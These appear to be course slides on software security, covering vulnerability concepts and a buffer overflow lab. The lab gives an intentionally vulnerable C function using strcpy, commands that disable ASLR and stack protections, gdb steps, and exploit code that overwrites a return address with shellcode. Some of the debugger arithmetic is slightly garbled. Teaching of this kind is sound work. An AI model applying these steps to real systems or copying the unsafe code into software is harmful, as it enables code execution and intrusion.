Bài 3 - Software Security
Bài 3 - Software Security
Bài 3 - Software Security
Software Security
Contents
1. Software vulnerabilies
2. Most common vulnerabilities
3. Vulnerable program
4. Buffer overflow
5. Defense against buffer overflow
6. Lab: Buffer overflow
Software Vulnerabilities
• In computer security, a vulnerability is a weakness
which can be exploited by a threat actor, such as an
attacker, to perform unauthorized actions within a
computer system.
• Vulnerability: A weakness in the security system,
e.g., in policy, design, or implementation, that might
be exploited to cause loss or harm.
Software Vulnerabilities
• The severity of software vulnerabilities advances at
an exponential rate. All systems include
vulnerabilities.
• Examples:
– Software: does not check input data let in malicious code
– Database or WiFi router left configured with known default
passwords
– Policy: not restrict enough
Software Vulnerabilities
Software vulnerabilities are defined by three factors.
These are:
– Existence – The existence of a vulnerability in the software.
– Access – The possibility that hackers gain access to the
vulnerability.
– Exploit – The capability of the hacker to take advantage of
that vulnerability via tools or with certain techniques.
What cause vulnerabilities
• Complexity:
– Complex systems increase the probability of a flaw, misconfiguration or
unintended access.
• Familiarity:
– Common code, software, operating systems and hardware increase the
probability that an attacker can find or has information about known
vulnerabilities.
• Connectivity:
– The more connected a device is the higher the chance of a
vulnerability.
• Poor password management:
– Weak passwords can be broken with brute force and reusing
passwords can result in one data breach becoming many.
What cause vulnerabilities (cont.)
• Operating system flaws:
– Like any software, operating systems can have flaws. Operating systems that are
insecure by default and give all users full access can allow viruses and malware
to execute commands.
• Internet usage:
– The Internet is full of spyware and adware that can be installed automatically on
computers.
• Software bugs:
– Programmers can accidentally or deliberately leave an exploitable bug in
software.
• Unchecked user input:
– If your website or software assume all input is safe it may execute unintended
SQL commands.
• People:
– The biggest vulnerability in any organization is the human at the end of the
system. Social engineering is the biggest threat to the majority of organizations.
Control Vulnerability
• Control: an action, device, policy, procedure, or
technique that removes or reduces a vulnerability
• A threat is blocked by control of vulnerability
Most Common Vulnerabilities
• Buffer overflow
• SQL Injection
• Missing or broken authentication/authorization
• Issues with Web services and APIs
• Failure to protect sensitive data
• ….
Vulnerable Program
Program memory layout
Is used for storing local variables defined
inside functions, as well as return
address, arguments
Malicious code
Malicious code
(Overwrite)
Arguments
• Learning objectives:
This lab aims to understand
buffer overflow
• Ubuntu 16.04 (32bit)
• Files: stack.c, exploit.c/exploit.py
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef BUF_SIZE
#define BUF_SIZE 24
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
strcpy(buffer, str);
return 1;
}
Exploit.c
Lab1. Buffer Overflow (cont.)
Step 1. Turning off countermeasures
– Address Space Randomization
• $ sudo sysctl -w kernel.randomize_va_space=0
// Disable Randomization
– The StackGuard Protection Scheme
• $ gcc -fno-stack-protector example.c
– Non-Executable Stack
• For executable stack: $ gcc -z execstack -o test test.c
• For non-executable stack: $ gcc -z noexecstack -o test test.c
– Configuring /bin/sh
• $ sudo ln -sf /bin/zsh /bin/sh
Step 2. Finding the address of the inject code
$gcc –z execstack –fno-stack-protector –g –o stack_dbg stack.c
$touch badfile
$gdb stack_dbg
(gdb)b bof see the name of the function in stack.c
(gdb)run
(gdb)p $ebp
$1 = (void *) 0xbfffeb48
(gdb)p &buffer
$2 = (char (*) [100]) 0xbfffeb28
(gdb) p/d 0xbffffeb48 – 0xbffffeb28
$3 = 32)
Return address = ebp + (32 + 4) = ebp + 36
Step 3. Edit exploit.c
• /* Fill the return address file with a candidate entry point of the malicious
code */
*((long *) (buffer + 36)) = 0xbfffeb38 + 0x80;
• /* Place the shellcode towards the end of the buffer */
memcpy(buffer + sizeof(buffer) – sizeof(shellcode), shellcode, sizeof(shellcode));
Step 4. Execute